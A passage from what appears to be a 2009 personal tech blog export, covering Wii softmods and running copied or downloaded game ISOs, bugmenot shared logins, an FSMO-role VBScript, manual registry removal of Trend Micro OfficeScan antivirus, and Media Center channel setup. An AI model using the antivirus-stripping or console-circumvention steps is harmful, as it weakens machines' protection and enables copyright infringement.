href=\"http://www.hyves.nl/api/\"\u003ehttp://www.hyves.nl/api/\u003c/a\u003e (\u003ca href=\"http://wp-hyves.hyves.nl/forum/2835704/eoxR/Installation_Tutorial_5_Steps_in_getting_WP_Hyves_to_work/\"\u003ein detail\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eInstall the WP-Hyves plugin in your Wordpress\u003c/li\u003e\n\u003cli\u003eInsert the API keys in the plugin\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eAfter your published a post in WP  you can publish it to hyves:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2009/12/publishpost.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2009/12/publishpost.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eHave fun!\u003c/p\u003e\n\u003cp\u003eThomas\u003c/p\u003e","title":"[Hyves] Wordpress Plugin Works!"},{"content":"Hi,\nI found a Wordpress plugin for my Hyves. All my blog posts must be added automatically now to hyves.\nHope it works!!\nThomas\n","permalink":"https://blog.wapnet.nl/2009/12/hyves-wp-hyves-plugin/","summary":"\u003cp\u003eHi,\u003c/p\u003e\n\u003cp\u003eI found a Wordpress plugin for my Hyves. All my blog posts must be added automatically now to hyves.\u003c/p\u003e\n\u003cp\u003eHope it works!!\u003c/p\u003e\n\u003cp\u003eThomas\u003c/p\u003e","title":"[Hyves] WP-Hyves Plugin"},{"content":"Nintendo give the Opera Wii browser for free now. But when you start the Shopping channel on a softmodded Wii you must update your Wii software first. Because you have a soft/hard mod you don\u0026rsquo;t want that.\nFirst download this packages (DOPIOS and WiiSCU) Extract the both apps to the SD\\APPS\\ folder Start DOPIOS from the HBC and update/download IOS61 (the one for the shopping channel) Start WiiSCU from the HBC and update the shopping channel Now you can start the shopping shopping channel from the main screen. Other info about both apps you can find on Wiibrew.org. Happy hacking!!!\n","permalink":"https://blog.wapnet.nl/2009/12/wii-update-shopping-channel-without-wii-upgrade-3-x-4-0-and-4-1/","summary":"\u003cp\u003eNintendo give the Opera Wii browser for free now. But when you start the Shopping channel on a softmodded Wii you must update your Wii software first. Because you have a soft/hard mod you don\u0026rsquo;t want that.\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eFirst download this packages (\u003ca href=\"/wp-content/uploads/2009/12/Dop_ios_by_marc.zip\"\u003eDOPIOS\u003c/a\u003e and \u003ca href=\"/wp-content/uploads/2009/12/WiiSCU.zip\"\u003eWiiSCU\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eExtract the both apps to the SD\\APPS\\ folder\u003c/li\u003e\n\u003cli\u003eStart DOPIOS from the HBC and update/download IOS61 (the one for the shopping channel)\u003c/li\u003e\n\u003cli\u003eStart WiiSCU from the HBC and update the shopping channel\u003c/li\u003e\n\u003cli\u003eNow you can start the shopping shopping channel from the main screen.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eOther info about both apps you can find on \u003ca href=\"http://Wiibrew.org\"\u003eWiibrew.org\u003c/a\u003e. Happy hacking!!!\u003c/p\u003e","title":"[Wii] Update Shopping Channel without Wii upgrade (3.x, 4.0 and 4.1)"},{"content":" Download This Package Run the \u0026ldquo;MakeKeyBin.exe\u0026rdquo; Open WiiScrubber, and select your ISO Search for the main.dol -\u0026gt; right click -\u0026gt; Extract Open PPF-Patcher, choose the main.dol for input and the PPFf-Patch for your region, and klick apply. This is the patched main.dol that you can use for alt.dol-Loading. If you want to patch the ISO, read further. Back in WiiScrubber, search again for the main.dol, right klick -\u0026gt; Replace and select the patched main.dol THIS IS ONLY IF YOU HAVE A NON-MODIFIED RELEASE!!!! Source ","permalink":"https://blog.wapnet.nl/2009/12/wii-how-tho-patch-new-super-mario-bros/","summary":"\u003col\u003e\n\u003cli\u003eDownload \u003ca href=\"/wp-content/uploads/2009/12/Mario-FIX.zip\"\u003eThis Package\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eRun the \u0026ldquo;MakeKeyBin.exe\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eOpen WiiScrubber, and select your ISO\u003c/li\u003e\n\u003cli\u003eSearch for the main.dol -\u0026gt; right click -\u0026gt; Extract\u003c/li\u003e\n\u003cli\u003eOpen PPF-Patcher, choose the main.dol for input and the PPFf-Patch for your region, and klick apply.\nThis is the patched main.dol that you can use for alt.dol-Loading. If you want to patch the ISO, read further.\u003c/li\u003e\n\u003cli\u003eBack in WiiScrubber, search again for the main.dol, right klick -\u0026gt; Replace and select the patched main.dol\n\u003cstrong\u003eTHIS IS ONLY IF YOU HAVE A NON-MODIFIED RELEASE!!!!\u003c/strong\u003e \u003ca href=\"http://www.wiihacks.com/wii-games/28589-guide-new-super-mario-bros.html\"\u003eSource\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"[Wii] How to patch \"New Super Mario Bros\""},{"content":"My Wii has a lot of troubles readings copied disk. I think this is because of a crappy modchip. I will recommend everyone a softmod instead of an chip. If you have hardware troubles with your softmod you can remove all the softmod installations and go back to nintendo and let them repair your harware.\nThis weekend I\u0026rsquo;ve connected an old external USB IDE disk to my Wii and dumped all my ISO\u0026rsquo;s, Game Copies and original DVD\u0026rsquo;s to the disk. Now every thing works fine :D\nWhat you need:\n1. A Wii that\u0026rsquo;s already softmodded with the CIOS 249 Rev 14 (\u0026laquo; tested) 2. An external IDE disk (I had al lot of trouble with an new 2,5\u0026quot; WD SATA Disk. 3. Configurable USB Loader for dump your DVD\u0026rsquo;s (Download) 4. WBFS Manager (http://wbfsmanager.codeplex.com/) 5. USB Loader GX (http://usbloadergx.koureio.net/downloads)\nThe steps:\n1. Download, Install and Run the WBFS Manager on your Windows pc 2. Attach a dedicated USB disk to your pc 3. Format the disk with the WBFS Manager to the WBFS (filesystem) 4. You can extract some downloaded ISO\u0026rsquo;s to your USB disk now 5. Connect your USB disk in the left -or- down USB port on your Wii 6. Start the USB Loader GX on your Wii trough the homebrew channel 7. When disk the is mount correctly you can run the games now. If you need the 002 fix you can set this in the load settings of the specific game.\nWhen you want to complete your collection with all your Wii DVD\u0026rsquo;s:\n1. Extract the Configurable USB Loader files to your SD 2. Start the Configurable USB Loader via the homebrew channel 3. Press the + button on the Wiimote 4. Press the A button after the disk is read 5. Have patience :)\nNow you can play the games with the one of the two USB loaders.\nSome Video\u0026rsquo;s and screenshots:\n1. WBFS Manager 2. USB Loader GX\n3. Configurable USB Loader\n","permalink":"https://blog.wapnet.nl/2009/11/usb-loaders-for-wii-and-howto-dump-your-games-to-usb-hd/","summary":"\u003cp\u003eMy Wii has a lot of troubles readings copied disk. I think this is because of a crappy modchip. I will recommend everyone a softmod instead of an chip. If you have hardware troubles with your softmod you can remove all the softmod installations and go back to nintendo and let them repair your harware.\u003c/p\u003e\n\u003cp\u003eThis weekend I\u0026rsquo;ve connected an old external USB IDE disk to my Wii and dumped  all my ISO\u0026rsquo;s, Game Copies and original DVD\u0026rsquo;s  to the disk. Now every thing works fine :D\u003c/p\u003e","title":"USB Loaders for Wii (and howto dump your games to USB HD)"},{"content":"The main reason of spam is that you must register your email address everywhere on the web. There are 2 simple sites that can help you to avoid spam in your inbox because\nhttp://www.bugmenot.com/ On this site you can get many login names and password of many sites\nhttp://www.dispostable.com/ This site site listen to ay mail adres. So if you must fill in your mail adres to register you can use anymailaddress@dispostable.com and check you mail on the dispostable site\n","permalink":"https://blog.wapnet.nl/2009/11/nice-antispam-techniques/","summary":"\u003cp\u003eThe main reason of spam is that you must register your email address everywhere on the web. There are 2 simple sites that can help you to avoid spam in your inbox because\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.bugmenot.com/\"\u003ehttp://www.bugmenot.com/\u003c/a\u003e\nOn this site you can get many login names and password of many sites\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://www.dispostable.com/\"\u003ehttp://www.dispostable.com/\u003c/a\u003e\nThis site site listen to ay mail adres. So if you must fill in your mail adres to register you can use \u003ca href=\"mailto:anymailaddress@dispostable.com\"\u003eanymailaddress@dispostable.com\u003c/a\u003e and check you mail on the dispostable site\u003c/p\u003e","title":"Nice antispam techniques"},{"content":"There is a nice tool to manage your phone directly from your pc.\nSee screen:\nStep1: You can download the software here MyMobile123.zip Step2: Extract the zip Step3: Connect with activesync Step4: start \u0026gt; run \u0026gt; C:\\path-to-extracted-zip\\MyMobiler.exe -connect\nOfficial site: http://www.mymobiler.com/\n","permalink":"https://blog.wapnet.nl/2009/11/mymobiler-remote-tool-for-windows-mobile-phones/","summary":"\u003cp\u003eThere is a nice tool to manage your phone directly from your pc.\u003c/p\u003e\n\u003cp\u003eSee screen:\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"mobilephone\" loading=\"lazy\" src=\"/wp-content/uploads/2009/11/mobilephone1.png\"\u003e\u003c/p\u003e\n\u003cp\u003eStep1: You can download the software here \u003ca href=\"/wp-content/uploads/2009/11/MyMobile123_06152008.zip\"\u003eMyMobile123.zip\u003c/a\u003e\nStep2: Extract the zip\nStep3: Connect with activesync\nStep4: start \u0026gt; run \u0026gt; C:\\path-to-extracted-zip\\MyMobiler.exe -connect\u003c/p\u003e\n\u003cp\u003eOfficial site: \u003ca href=\"http://www.mymobiler.com/\"\u003ehttp://www.mymobiler.com/\u003c/a\u003e\u003c/p\u003e","title":"MyMobiler Remote tool for Windows Mobile Phones"},{"content":"How longer you use firefox how slower the automatic search will be. There is a plugin thats defragment the search database.\nQuote Vacuum Places Improved 1:\nDefragments your Firefox \u0026ldquo;Places\u0026rdquo; database (history/bookmarks) This greatly reduces the lag while typing in the address bar and the start-up time. This extension features configurable automatic cleaning, periodic reminder, and internationalization.\nURL: https://addons.mozilla.org/nl/firefox/addon/13878\n","permalink":"https://blog.wapnet.nl/2009/11/speed-up-your-firefox/","summary":"\u003cp\u003eHow longer you use firefox how slower the automatic search will be. There is a plugin thats defragment the search database.\u003c/p\u003e\n\u003cp\u003eQuote \u003cstrong\u003eVacuum Places Improved 1\u003c/strong\u003e:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eDefragments your Firefox \u0026ldquo;Places\u0026rdquo; database (history/bookmarks)\nThis greatly reduces the lag while typing in the address bar and the start-up time.\nThis extension features configurable automatic cleaning, periodic reminder, and internationalization.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eURL: \u003ca href=\"https://addons.mozilla.org/nl/firefox/addon/13878\"\u003ehttps://addons.mozilla.org/nl/firefox/addon/13878\u003c/a\u003e\u003c/p\u003e","title":"Speed up your firefox"},{"content":" Set objRootDSE = GetObject(\u0026quot;LDAP://rootDSE\u0026quot;)\n\u0026rsquo; Schema Master Set objSchema = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp;_ objRootDSE.Get(\u0026ldquo;schemaNamingContext\u0026rdquo;)) strSchemaMaster = objSchema.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;) Set objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strSchemaMaster) Set objComputer = GetObject(objNtds.Parent) WScript.Echo \u0026ldquo;Forest-wide Schema Master FSMO: \u0026quot; \u0026amp;_ objComputer.Name\nSet objNtds = Nothing Set objComputer = Nothing\n\u0026rsquo; Domain Naming Master Set objPartitions = GetObject(\u0026quot;LDAP://CN=Partitions,\u0026rdquo; \u0026amp; _ objRootDSE.Get(\u0026ldquo;configurationNamingContext\u0026rdquo;)) strDomainNamingMaster = objPartitions.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;) Set objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strDomainNamingMaster) Set objComputer = GetObject(objNtds.Parent) WScript.Echo \u0026ldquo;Forest-wide Domain Naming Master FSMO: \u0026quot; \u0026amp;_ objComputer.Name\nSet objNtds = Nothing Set objComputer = Nothing\n\u0026rsquo; PDC Emulator Set objDomain = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp;_ objRootDSE.Get(\u0026ldquo;defaultNamingContext\u0026rdquo;)) strPdcEmulator = objDomain.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;) Set objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strPdcEmulator) Set objComputer = GetObject(objNtds.Parent) WScript.Echo \u0026ldquo;Domain\u0026rsquo;s PDC Emulator FSMO: \u0026quot; \u0026amp; objComputer.Name\nSet objNtds = Nothing Set objComputer = Nothing\n\u0026rsquo; RID Master Set objRidManager = GetObject(\u0026quot;LDAP://CN=RID Manager$,CN=System,\u0026rdquo; \u0026amp; _ objRootDSE.Get(\u0026ldquo;defaultNamingContext\u0026rdquo;)) strRidMaster = objRidManager.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;) Set objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strRidMaster) Set objComputer = GetObject(objNtds.Parent) WScript.Echo \u0026ldquo;Domain\u0026rsquo;s RID Master FSMO: \u0026quot; \u0026amp; objComputer.Name\nSet objNtds = Nothing Set objComputer = Nothing\n\u0026rsquo; Infrastructure Master Set objInfrastructure = GetObject(\u0026quot;LDAP://CN=Infrastructure,\u0026rdquo; \u0026amp; _ objRootDSE.Get(\u0026ldquo;defaultNamingContext\u0026rdquo;)) strInfrastructureMaster = objInfrastructure.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;) Set objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strInfrastructureMaster) Set objComputer = GetObject(objNtds.Parent) WScript.Echo \u0026ldquo;Domain\u0026rsquo;s Infrastructure Master FSMO: \u0026quot; \u0026amp; objComputer.Name\nSource: http://www.thevortex.nl/index.php?option=com_content\u0026amp;task=view\u0026amp;id=48\u0026amp;Itemid=29\n","permalink":"https://blog.wapnet.nl/2009/11/show-5-fsmo-roles-script/","summary":"\u003cblockquote\u003e\n\u003cp\u003eSet objRootDSE = GetObject(\u0026quot;\u003ca href=\"ldap://rootDSE/\"\u003eLDAP://rootDSE\u003c/a\u003e\u0026quot;)\u003c/p\u003e\n\u003cp\u003e\u0026rsquo; Schema Master\nSet objSchema = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp;_\nobjRootDSE.Get(\u0026ldquo;schemaNamingContext\u0026rdquo;))\nstrSchemaMaster = objSchema.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;)\nSet objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strSchemaMaster)\nSet objComputer = GetObject(objNtds.Parent)\nWScript.Echo \u0026ldquo;Forest-wide Schema Master FSMO: \u0026quot; \u0026amp;_\nobjComputer.Name\u003c/p\u003e\n\u003cp\u003eSet objNtds = Nothing\nSet objComputer = Nothing\u003c/p\u003e\n\u003cp\u003e\u0026rsquo; Domain Naming Master\nSet objPartitions = GetObject(\u0026quot;\u003ca href=\"ldap://CN=Partitions/\"\u003eLDAP://CN=Partitions\u003c/a\u003e,\u0026rdquo; \u0026amp; _\nobjRootDSE.Get(\u0026ldquo;configurationNamingContext\u0026rdquo;))\nstrDomainNamingMaster = objPartitions.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;)\nSet objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strDomainNamingMaster)\nSet objComputer = GetObject(objNtds.Parent)\nWScript.Echo \u0026ldquo;Forest-wide Domain Naming Master FSMO: \u0026quot; \u0026amp;_\nobjComputer.Name\u003c/p\u003e\n\u003cp\u003eSet objNtds = Nothing\nSet objComputer = Nothing\u003c/p\u003e\n\u003cp\u003e\u0026rsquo; PDC Emulator\nSet objDomain = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp;_\nobjRootDSE.Get(\u0026ldquo;defaultNamingContext\u0026rdquo;))\nstrPdcEmulator = objDomain.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;)\nSet objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strPdcEmulator)\nSet objComputer = GetObject(objNtds.Parent)\nWScript.Echo \u0026ldquo;Domain\u0026rsquo;s PDC Emulator FSMO: \u0026quot; \u0026amp; objComputer.Name\u003c/p\u003e\n\u003cp\u003eSet objNtds = Nothing\nSet objComputer = Nothing\u003c/p\u003e\n\u003cp\u003e\u0026rsquo; RID Master\nSet objRidManager = GetObject(\u0026quot;\u003ca href=\"ldap://CN=RID/\"\u003eLDAP://CN=RID\u003c/a\u003e Manager$,CN=System,\u0026rdquo; \u0026amp; _\nobjRootDSE.Get(\u0026ldquo;defaultNamingContext\u0026rdquo;))\nstrRidMaster = objRidManager.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;)\nSet objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strRidMaster)\nSet objComputer = GetObject(objNtds.Parent)\nWScript.Echo \u0026ldquo;Domain\u0026rsquo;s RID Master FSMO: \u0026quot; \u0026amp; objComputer.Name\u003c/p\u003e\n\u003cp\u003eSet objNtds = Nothing\nSet objComputer = Nothing\u003c/p\u003e\n\u003cp\u003e\u0026rsquo; Infrastructure Master\nSet objInfrastructure = GetObject(\u0026quot;\u003ca href=\"ldap://CN=Infrastructure/\"\u003eLDAP://CN=Infrastructure\u003c/a\u003e,\u0026rdquo; \u0026amp; _\nobjRootDSE.Get(\u0026ldquo;defaultNamingContext\u0026rdquo;))\nstrInfrastructureMaster = objInfrastructure.Get(\u0026ldquo;fSMORoleOwner\u0026rdquo;)\nSet objNtds = GetObject(\u0026ldquo;LDAP://\u0026rdquo; \u0026amp; strInfrastructureMaster)\nSet objComputer = GetObject(objNtds.Parent)\nWScript.Echo \u0026ldquo;Domain\u0026rsquo;s Infrastructure Master FSMO: \u0026quot; \u0026amp; objComputer.Name\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Show 5 fsmo roles script"},{"content":" Go to Control Panel Services (services.msc), and stop the following services:\nOfficeScanNT Listener OfficeScanNT RealTimeScan OfficeScanNT Personal Firewall (if enabled) Run Registry Editor (regedit.exe).\nNavigate to the following registry key\nhive:\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\nDelete the following keys (if available): Ntrtscan Tmlisten TmFilter VSApiNt TMPreFilter TM_CFW OfcPfwSvc Navigate to the following registry hive: HKEY_LOCAL_MACHINE \\SOFTWARE\\TrendMicro\nor\nHKEY_LOCAL_MACHINE \\SOFTWARE \\Wow6432Node\\TrendMicro (in 64-bit Windows operating system)\nDelete the following keys (if available): OfcWatchDog Pc-cillinNTCorp or OfficeScanCorp (depending on the client) R emoteAgent PC-cillin CFW Browse to the following registry key hive: HKEY_LOCAL_MACHINE \\SOFTWARE \\Microsoft\\Windows\\CurrentVersion\\Run\nDelete the OfficeScanNT Monitor key. Navigate to the following registry key: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\nDelete the OfficeScanNT key. Delete the OfficeScan program group ( Trend Micro OfficeScan Client) from the Windows Start menu. Restart the computer. Delete the directories that contain the OfficeScan Client program files, normally located inside Program Files folder. Above steps work for OfficeScan 7.x client in Windows 2003/XP/2000/NT/Vista/2008 machine. For Trend Micro OfficeScan Corporate Edition (OSCE) – 5.58, OfficeScan Corporate Edition (OSCE) – 6.5, Client / Server / Messaging Suite for SMB – 2.0, follow these manual uninstallation steps instead.\nDelete the Trend Micro OfficeScan Client program shortcut in Start Menu, by right click on it and then choose Delete. Delete the installed files located in the OfficeScan folder under the \\Program Files\\Trend Micro\\OfficeScan Client directory. Open the Registry Editor (regedit). Navigate to the following registry key: HKEY_LOCAL_MACHINE\\Software\\TrendMicro\nDelete the following keys: OfcWatchDog PC-cillin PC-cillinNTCorp Also delete the following registry hives: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\OfficeScanNT Monitor HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\OfficeScanNT HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\ntrtscan HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\tmfilter HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\tmlisten HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\TmPreFilter (for Win2003) HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\VSApiNt Right click on My Computer , click Manage and then select Device Manager.\nEnable the Show Hidden Devices option.\nRemove the following hidden devices in Non-Plug and Play Drivers tree pertaining to OfficeScan (right-click and select Uninstall):\nTrend Micro VSAPI NT Trend Micro FILTER Common Firewall Driver NTRTSCAN (if available) TMLISTEN (if available) Restart the OfficeScan client machine.\nSource: http://www.mydigitallife.info/2008/07/18/how-to-manually-uninstall-trend-micro-officescan-corporate-edition-client/\n","permalink":"https://blog.wapnet.nl/2009/11/manually-remove-trend-micro-officescan-client/","summary":"\u003col\u003e\n\u003cli\u003e\n\u003cp\u003eGo to Control Panel \u003cstrong\u003eServices (services.msc)\u003c/strong\u003e, and stop the following services:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eOfficeScanNT Listener\u003c/li\u003e\n\u003cli\u003eOfficeScanNT RealTimeScan\u003c/li\u003e\n\u003cli\u003eOfficeScanNT Personal Firewall (if enabled)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eRun \u003cstrong\u003eRegistry Editor (regedit.exe)\u003c/strong\u003e.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003eNavigate to the following \u003ca href=\"http://www.mydigitallife.info/2008/07/18/how-to-manually-uninstall-trend-micro-officescan-corporate-edition-client/\"\u003eregistry key\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003ehive:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\u003c/strong\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDelete the following keys (if available):\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eNtrtscan\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTmlisten\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTmFilter\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVSApiNt\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTMPreFilter\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eTM_CFW\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eOfcPfwSvc\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eNavigate to the following registry hive:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE \\SOFTWARE\\TrendMicro\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eor\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE \\SOFTWARE \\Wow6432Node\\TrendMicro\u003c/strong\u003e (in \u003ca href=\"http://www.mydigitallife.info/2008/07/18/how-to-manually-uninstall-trend-micro-officescan-corporate-edition-client/\"\u003e64-bit\u003c/a\u003e Windows operating system)\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003eDelete the following keys (if available):\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eOfcWatchDog\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePc-cillinNTCorp\u003c/strong\u003e or \u003cstrong\u003eOfficeScanCorp\u003c/strong\u003e (depending on the client)\u003c/li\u003e\n\u003cli\u003eR \u003cstrong\u003eemoteAgent\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ePC-cillin\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eCFW\u003c/strong\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBrowse to the following registry key hive:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eHKEY_LOCAL_MACHINE \\SOFTWARE \\Microsoft\\Windows\\CurrentVersion\\Run\u003c/strong\u003e\u003c/p\u003e","title":"Manually Remove Trend Micro Officescan Client"},{"content":"There is a nice small program from XP to resize a picture very easy. The problem with the microsoft powertoy is that it works Windows XP only.\nNow someone have built a nice clone you can download @ sourceforge http://sourceforge.net/projects/phototoysclone/\nHave fun :)\n","permalink":"https://blog.wapnet.nl/2009/10/windows-xp-powertoy-clone-for-windows-7-and-vista/","summary":"\u003cp\u003eThere is a nice small program from XP to resize a picture very easy. The problem with the microsoft powertoy is that it works Windows XP only.\u003c/p\u003e\n\u003cp\u003eNow someone have built a nice clone you can download @ sourceforge \u003ca href=\"http://sourceforge.net/projects/phototoysclone/\"\u003ehttp://sourceforge.net/projects/phototoysclone/\u003c/a\u003e\u003cimg alt=\"Resize\" loading=\"lazy\" src=\"/wp-content/uploads/2009/10/Resize.png\"\u003e\u003c/p\u003e\n\u003cp\u003eHave fun :)\u003c/p\u003e","title":"Windows XP Resize Powertoy clone for Windows 7 and Vista"},{"content":"Does not work out-of-the box. You must first download en and install Windows Mobile Device Center 6.1. Direct download:\n","permalink":"https://blog.wapnet.nl/2009/09/windows-mobile-phone-and-windows-7/","summary":"\u003cp\u003eDoes not work out-of-the box. You must first download en and install Windows Mobile Device Center 6.1.\n\u003ca href=\"http://www.microsoft.com/downloads/thankyou.aspx?familyId=46f72df1-e46a-4a5f-a791-09f07aaa1914\u0026amp;displayLang=en\u0026amp;hash=bd9ajyhoHsr32X2Lo9yfo48LuYeyxQI2FRNktlHRTIpiG9cpVZ0fejmEIZTYuoca3fK%2bK3wks7Xe0u2g7NZbVw%3d%3d#\"\u003eDirect download:\u003c/a\u003e\u003c/p\u003e","title":"Windows Mobile Phone and Windows 7"},{"content":"TV kanalen + EPG zelf configureren\nIn de oorspronkelijke opzet van de EPG functie in MCE2005 heeft men het doel gehad de kanalen setup en programmagids in Mediacenter op (voor de gebruiker) zeer eenvoudige manier in te kunnen stellen: Simpelweg je postcode kiezen, je signaalbron instellen, info binnenhalen en klaar is kees, tenminste\u0026hellip; dat was de bedoeling\u0026hellip;\nProbleemstelling Op vele fora lees je verschillende problemen die oorsprong vinden in het niet up-to-date zijn van de zenderinformatie die aan je postcode verbonden is. Dit (kan) resulteren in zeer irritante verschijnselen zoals het niet corresponderen van kanalen met de EPG, ontbrekende kanalen etc.\nIk heb hier zelf ook een aanzienlijke tijd mee lopen stoeien. Submitten van wijzigingen bij Microsoft / BDE levert vaak geen of late updates op. Kortom: de voordelen van het hele principe achter het autmatisch kanaalinformatie binnenhalen + EPG zijn zo langzamerhand een nadeel geworden.\nOplossing Ik heb na het nodige gepuzzel een oplossing die het volgende tot gevolg heeft:\n- Alle TV kanalen van (in mijn geval) de kabel zijn in MCE beschikbaar - Alle TV kanalen hebben de juiste naam - Alle TV signalen (waar beschikbaar) hebben correcte EPG informatie - Hiervoor is geen bijzondere extra software nodig, zodat je gauw weer terug kan naar je oorspronkelijke situatie als je dat wenst.\nMijn oplossing is gebaseerd op analoge kabeltelevisie met een interne tuner, je kan delen hiervan natuurlijk ook bij gebruik van externe settopboxen toepassen.\nDe procedure in stappen Om eerlijk te zijn is de procedure tijdrovend, je bent al gauw een uurtje zoet. Het resultaat is er echter wel naar . Om de televisiekanalen + EPG zelf te configureren moeten de volgende stappen doorlopen worden:\n- Aanpassen van de MCE frequentietabel (MCETuningOverrides.xml) - Uitvoeren van een handmatige frequentiescan - Kanalen handmatig aan EPG toewijzen - Niet herkende kanaalnamen manueel toevoegen - Kanaalvolgorde naar wens indelen\nNavolgend een beschrijving hiervan:\nAanpassen van de frequentietabel De kanaaltabel waar Microsoft gebruik van maakt komt vaak niet overeen met de opgegeven kanaalnummers van de provider van het kabelsignaal. Dit is extra lastig wanneer deze provider gebruik maakt van + en – kanalen (waar dus finetuning nodig is). Je kan natuurlijk gewoon in MCE een scan maken, maar mijn ervaring is dat dit erg lang duurt, veel kanalen dubbel gevonden worden terwijl andere kanalen niet gevonden worden.\nDoe daarom het volgende:\n- Zoek (op internet) het actuele zenderoverzicht van de CAI. Hier vind je ook de frequentie van de zenders. Het is handig hier een printout van te maken - Nummer op het uitgeprintte papier nu alle beschikbare kanalen in de gewenste volgorde - Edit de volgende file in je MCE: c:\\windows\\ehome\\MCETuningOverrides.xml met bijvoorbeeld notepad. - Maak voor de zekerheid vooraf even een backup van de oorspronkelijke file. - Je ziet nu de door Microsoft gekozen kanaalindeling. Deze gaan we wijzigen in de door jou gewenste kanaalvolgorde, zoals op je papier: - Bij mij is bijvoorbeeld Nederland 1 tevens kanaal nummer 1. Volgens mijn kabelmaatschappij is deze zender te vinden op 189.250 MHz. - In MCETuningOverrides.xml wijzig je het volgende:\n- Deze handeling voer je voorts uit in Index channel 2 voor jouw kanaal 2. Dit gaat door tot je alle kanalen hebt ingevuld.. - Alle kanalen die je niet nodig hebt wis je voorts uit MCETuningOverrides.xml. - Voorts pas je bovenin deze zelfde file de volgende regel aan:\nHet nummer bij “MaxChannel” dient hierbij overeen te komen met het aantal index kanalen dat je hebt ingevoerd.\n- Dit zijn alle handelingen die je moet doen om de frequentietabel overeen te laten komen met jouw kabelsignaal.\nEen groot voordeel: je hebt nooit meer met finetuning te maken, de frequenties zijn hier exact\u0026hellip;\nUitvoeren van een handmatige frequentiescan Nu 